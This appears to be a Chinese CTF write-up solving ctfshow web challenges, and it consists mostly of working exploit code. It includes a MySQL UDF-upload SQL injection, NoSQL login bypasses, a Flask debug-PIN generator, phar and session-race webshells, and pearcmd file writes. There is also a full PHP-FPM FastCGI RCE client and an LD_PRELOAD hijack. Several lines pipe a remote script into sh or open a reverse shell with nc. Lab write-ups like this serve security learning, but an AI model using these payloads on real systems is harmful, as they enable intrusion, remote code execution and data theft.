465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
for i in range(0,21510, 5000):
    end = i + 5000
    payload.append(udf[i:end])

p = dict(zip(text, payload))

for t in text:
    url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
    r = requests.get(url)
    print(r.status_code)

next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)

uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)

image-20220512180600048

web249

sql语句

//无
$user = $memcache->get($id);
    

返回逻辑

//无过滤

nosql的注入

NoSQL注入小笔记 - Ruilin (rui0.cn)

https://www.anquanke.com/post/id/97211#h2-0

NoSQL相关的SQL攻击:

1.重言式。又称为永真式。此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。比如实际中用$ne操作(不相等)的语法让他们无需相应的凭证即可非法进入系统。

2.联合查询。联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。比如通过增加永真的表达式利用布尔OR运算符进行攻击,从而导致整个语句判定出错,进行非法的数据获取。

3.JavaScript注入。这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。

4.背负式查询。在背负式查询中,攻击者通过利用转义特定字符(比如像回车和换行之类的结束符)插入由数据库额外执行的查询,这样就可以执行任意代码了。

5.跨域违规。HTTP REST APIs是NoSQL数据库中的一个流行模块,然而,它们引入了一类新的漏洞,它甚至能让攻击者从其他域攻击数据库。在跨域攻击中,攻击者利用合法用户和他们的网页浏览器执行有害的操作。在本文中,我们将展示此类跨站请求伪造(CSRF)攻击形式的违规行为,在此网站信任的用户浏览器将被利用在NoSQL数据库上执行非法操作。通过把HTML格式的代码注入到有漏洞的网站或者欺骗用户进入到攻击者自己的网站上,攻击者可以在目标数据库上执行post动作,从而破坏数据库。

NoSQL MYSQL区别:

nosql的定义是not only sql,包括键值数据库,列式数据库,文本数据库,图形数据库等

mysql是一种传统的关系型数据库。 关系型数据库一般都可以通过sql语句进行操作。sql的语法一般遵循SQL99标准,也就是说上层的应用可以通过同样的sql语句访问不同的数据库。 而nosql对sql的支持并不像关系型数据库一样。以hbase为例,它本身并不支持sql,我们可以通过hbase shell进行操作,上层应用可以通过hbase API读写数据库。但是我们也可以通过hive(hive sql,类sql语法)来访问hbase。还有一些hbase skin(可以理解成hbase客户端),支持了部分sql语法以方便用户使用,比如pheonix。

image-20220512181741192

所以payload为

?id[]=flag

web250

sql语句

$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
    

返回逻辑

//无过滤
if(count($cursor)>0){
  $ret['msg']='登陆成功';
  array_push($ret['data'], $flag);
}

还是nosql注入

条件操作符

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:  or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

image-20220512185557335

db->logins->find(  array("username"=>(string)$_POST["username"],"password"=>(string)$_    POST["password"]));

构造$data = array(“username” => array("$ne" => 1), “password” => array("$ne" => 1));进行绕过

还是之前那个文章里面写到的($ne是不相等的意思)

username[$ne]=1&password[$ne]=1
或者利用正则
username[$regex]=.&password[$regex]=.

image-20220512190339907

web251

用上一题的姿势,出了admin账号的用户名密码:
再改成username不等于admin即可:

username[$ne]=admin&password[$ne]=1

web252

直接正则:

username[$regex]=.*$&password[$ne]=1

image-20220512185920690

这里登录测试,还会发现有admin和admin1,可以用这种正则去掉这俩

username[$regex]=^[^admin].*$&password[$ne]=1

web253

sql语句

//sql
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
    

返回逻辑

//无过滤
if(count($cursor)>0){
  $ret['msg']='登陆成功';
  array_push($ret['data'], $flag);
}  

继续$regex但发现状态码是\u767b\u9646\u6210\u529f,是查询成功的Unicode编码,但就是没有回显。所以这题结合这个状态码进行盲注

套神的脚本

import requests
url="http://81040e32-f0ba-4e17-b9eb-56848ad36c4c.challenge.ctf.show:8080/api/"
letter="-ctfshow0123456789abcdef{,}"
flag=""
for i in range(1,100):
    for j in letter:

        payload="^{}.*$".format(flag+j)
        data={
            "username[$regex]":"flag",
            "password[$regex]":payload
        }
        res=requests.post(url,data).text
        #print(res)
        if r"\u767b\u9646\u5931\u8d25" not in res:
            flag+=j
            print(flag)
            break
  
        if j=="}":
            print(flag+"--OUT")
            exit()

Java

web279

常用姿势

web801

预期解:flask算pin

条件: flask debug模式开启 存在任意文件读取

  1. username,用户名
  2. modname,默认值为flask.app
  3. appname,默认值为Flask
  4. moddir,flask库下app.py的绝对路径
  5. uuidnode,当前网络的mac地址的十进制数
  6. machine_id,docker机器id
    image-20220524154547435

probably_public_bits包含4个字段,分别为
username
modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)

其中username对应的值为当前主机的用户名
linux可以查看/etc/passwd
windows可以查看C:/Users目录
modname的值为'flask.app'
getattr(app, 'name', app.class.name)对应的值为'Flask'
getattr(mod, 'file', None)对应的值为app包的绝对路径

private_bits包含两个字段,分别为
str(uuid.getnode())
get_machine_id()

其中str(uuid.getnode())为网卡mac地址的十进制值
在inux系统下得到存储位置为/sys/class/net/(对应网卡)/address 一般为eth0
windows中cmd执行config /all查看
get_machine_id()的值为当前机器唯一的机器码
对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id
docker机则读取/proc/self/cgroup。
windows的id在注册表中 (HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Cryptography)

其中

python 3.8和3.6 pin码生成方式不同

werkzeug版本不同machine-id获取不同

3.6 MD5

import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
username=getpass.getuser() 
app = Flask(__name__)
modname=getattr(app, "__module__", app.__class__.__module__)
mod = sys.modules.get(modname)

probably_public_bits = [
    username, #用户名 一般为root或者读下/etc/passwd
    modname,  #一般固定为flask.app
    getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
    getattr(mod, "__file__", None),    #flask库下app.py的绝对路径,可以通过报错信息得到
]
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
	mac,
	 "机器码"
	 ]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num=None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
    print(rv)

3.8 SHA1

import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
    username, #用户名
    modname,  #一般固定为flask.app
    getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
    '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:ac:28'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
   mac,#mac地址十进制
 "机器码"
     ]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

需要填的值就一个变化的地方—机器码。旧版的只需要读取/proc/self/cgroup即可,但是新增需要在前面再拼上/etc/machine-id或者/proc/sys/kernel/random/boot_id的值

旧版

先从/proc/self/cgroup判断是否是docker容器,如果有符合条件的值直接返回value;如果未在cgroup中读到/docker/后的内容
进行下一步,先后读取/etc/machine-id 和 boot_id中的值返回一个

所以此处machine-id应为
docker: cgroup中 /docker/后的内容
非docker: 先后读取machine-id和boot_id 有值即取

新版

先从/etc/machine-id和/proc/sys/kernel/random/boot_id读出一个就跳出,然后再读取/proc/self/cgroup中的id值拼接
所以此处machine-id为
/etc/machine-id + /proc/self/cgroup
或
/proc/sys/kernel/random/boot_id + /proc/self/cgroup

实操一下801

username

image-20220524154520223

路径

image-20220524155654602

mac地址

image-20220524155323058

再拿id

image-20220524155416263

image-20220524155504261

所以最后的机器码为8fa8946d-c588-40d0-9458-c3e9cf0a8851c292988f5c1a7a742186319fd5bb28c02167bce3e99959638562210c1ecf54ad

带脚本里跑出值然后访问console

image-20220524155757898

引入os库来得到flag

image-20220524155954645

web802

无数字字母命令执行

<?php

error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];

if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
    eval($cmd);
}

这里显然就算利用异或,非,取反来构造命令进行命令执行

直接上羽师傅的脚本

image-20220524160514067

web803

phar文件包含

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

在文件后加上了.phar后缀,这里直接把马写在phar里就行了

<?php
   
    $phar = new Phar("includephar.phar"); //后缀名必须为phar
   
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER(); ?>'); //设置stub
    
     
    $phar->addFromString('test.txt', '<?php system($_POST[a]);?>'); //
    $phar->stopBuffering();
    // phar生成

?>

没权限写的时候就往tmp目录底下写

image-20220524162306332

然后用phar协议来访问

image-20220524162356068

web804

phar反序列化,考烂了快

<?php
error_reporting(0);
highlight_file(__FILE__);

class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}

$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file)){
        unlink($file);
    }else{
        file_put_contents($file,$content);
    }
}

构造链子

image-20220524164057529

传上去之后phar访问一下

image-20220524164042957

web805

open_basedir绕过

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

注意:用open_basedir指定的限制实际上是前缀,而不是目录名

可以利用glob协议先遍历目录

$a = "glob:///*";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo $file."\n";
    }
    closedir($b);
  }

image-20220524165320388

然后利用chdir和mkdir读取

mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents("/ctfshowflag");

image-20220524182720886

另外还有一种利用p神脚本的方式

脚本懒得贴了,主要就是,别用php当后缀,不然脚本不知道为什么接收不了靶机上的参数,只会执行你自己vps上的内容,要不然就要写个flask当跳板。(花了一天的血的教训

image-20220525182618874

flask的内容

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():

    with open('opendir.php','r') as f:
        pay = f.read()
    return pay
    
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=int("5001"), debug=True)

在vps上开起来然后文件包含

web806

php无参RCE

<?php

highlight_file(__FILE__);

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

经典无参rce,百度找一堆payload

PHP Parametric Function RCE · sky's blog (skysec.top)

无参数rce_名字被抢的Stars的博客-CSDN博客_无参数rce

https://hetian.blog.csdn.net/article/details/107171940?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2-107171940-blog-105237550.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-2-107171940-blog-105237550.pc_relevant_default&utm_relevant_index=5

var_dump(scandir(dirname(dirname(dirname(getcwd())))));读上级目录

image-20220524183248018

用这种函数构造的方法根目录文件不是很好读,主要是还要构造一个斜杠

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));

写个脚本看运气读吧

image-20220524190821873

web807

反弹shell

<?php
    
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

$schema = substr($url,0,8);

if($schema==="https://"){
    shell_exec("curl $url");
}

拿一下群主搭的网站

https://your-shell.com/

后边带上ip和端口带个sh命令就能直接反弹shell了

image-20220524204159380

或者可以利用像dnslog外带那种

payload

https://;curl ip:port?a=`ls`

web808

卡临时文件包含

PHP LFI 利用临时文件 Getshell 姿势_WHOAMIAnony的博客-CSDN博客_phpinfo拿shell

include 'php://filter/string.strip_tags/resource=/etc/passwd';

这段代码会导致php进程的崩溃而让我们的临时文件留在临时文件目录下不会被删除

<?php

error_reporting(0);
$file = $_GET['file'];


if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    print_r(scandir("/tmp"));
}

image-20220524210412095

用这段代码上传就行

image-20220524210438734

然后包含一下我们的临时文件就能getshell了

image-20220524210616382

还有一种利用session条件竞争来写马的方法

【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行... - FreeBuf网络安全行业门户

import requests
import io
import threading

url = "http://192.168.2.128/test.php"
sessid = "Lxxx"

def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)

def read(session):
while True:
res = session.post(url+"?a=/tmp/sess_"+sessid,
data={
"1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
},
cookies={
"PHPSESSID":sessid
}
)
res2 = session.get("http://192.168.2.128/1.php")
if res2.status_code == 200:
print("成功写入一句话!")
else:
print("Retry")



if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()

web809

pear文件包含RCE

Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

HXBCTF 2021]湖湘杯easywill_k_du1t的博客-CSDN博客

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

利用条件:register_argc_argv开启

当开启了这个选项,用户的输入将会被赋予给$argc$argv$_SERVER['argv']几个变量。

‘argv’
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

image-20220524211826336

image-20220524212116036

我们的可以利用pear中的config-create命令,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php

目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>

用bp发包把我们的一句话木马写进去,然后访问就行

image-20220524213125023

image-20220524213116263

web810

SSRF打PHP-FPM

image-20220524233127483

image-20220524233113854

web811

file_put_contents打PHP-FPM

参考陇原战役的复现

有点要注意的是这里用bash弹不出来,要用nc ip port -e /bin/sh

image-20220524225414567

web812

PHP-FPM未授权

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

image-20220525193643081

可以结合php安装时带的php文件来执行

例如/usr/local/lib/php/OS/Guess.php

脚本

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

用法:
python exp.py -c '<?php system("cat /f*");?>' -p 28074 pwn.challenge.ctf.show /usr/local/lib/php/PEAR.php

端口改成自己的就行

image-20220525195637988

web813

劫持mysqli

大致过程就是自己生成一个mysqli.so(mysqli的扩展),然后扩展里面有ctfshow这个函数。
题目调用ctfshow函数的时候就会去扩展里面找(php里面没有这个函数)。
可以采用php源码中的ext_skel.php来生成。
一般在ext目录下。

phpinfo中可以看默认扩展目录

image-20220525214350144

当php调用函数时,如果在注册函数中找不到就会去扩展目录中找
此时我们上传恶意so文件可以劫持函数

恶意so为什么能绕过disable_function

php disable_function禁用的是php函数,而恶意so中调用的是C语言库中的system函数

编译so文件

ext_skel框架开发扩展

ubuntu用apt按的话默认不安装,要自己按

https://blog.csdn.net/DestinyLordC/article/details/79479769

php ext_skel.php --ext ctfshow --std

在ctfshow.c里改两个地方

image-20220525225654446

image-20220525224854116

phpize
./configure
make && make install 

编译完成后能看见目录,也能在目录里看见我们编译好的so文件

image-20220525230440261

太怪了,没成功,有空再试吧

利用条件

1.扩展目录明确且可写

2.能够载入恶意so文件(重启php-fpm或者能使用php命令行)

3.有调用我们自定义函数的代码 shell_exec("php -r 'ctfshow();' ")

web814

劫持getuid

<?php
error_reporting(0);

$action = $_GET['a'];
switch ($action) {
    case 'phpinfo':
        phpinfo();
        break;
    
    case 'write':
        file_put_contents($_POST['file'],$_POST['content']);
        break;

    case 'run':
        putenv($_GET['env']);
        system("whoami");
        break;

    default:
        highlight_file(__FILE__);
        break;
}

在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的

php启动新进程时,调用getuid来确认 进程属主(执行权限)

有趣的 LD_PRELOAD - 安全客,安全资讯平台 (anquanke.com)

安全研究-绕过php的disable_functions(上篇).pdf (qingteng.cn)

有下面这几个函数的时候就可以考虑利用LD_PRELOAD进行绕过disable_function

image-20220526170114684

编译同名函数进行劫持
注意进行unset(LD_PERLOAD)
避免进入死循环

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("curl https://your-shell.com/ip:port |sh");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("curl https://your-shell.com/ip:port |sh");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){ return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

gcc -shared -fPIC getuid.c -o getuid.so

然后上脚本

import requests
url="http://5fce36f5-6270-4ea7-ac06-2ab0c6e1cd5a.challenge.ctf.show/"
data={'file':'/tmp/getuid.so','content':open('getuid.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/getuid.so')

image-20220526165856011

web815

劫持构造器

<?php
error_reporting(0);

$action = $_GET['a'];
switch ($action) {
    case 'phpinfo':
        phpinfo();
        break;
    
    case 'write':
        file_put_contents($_POST['file'],$_POST['content']);
        break;

    case 'run':
        putenv($_GET['env']);
        mail("","","","");
        break;

    default:
        highlight_file(__FILE__);
        break;
}

也可以用814的方法

但是这题是要用这种

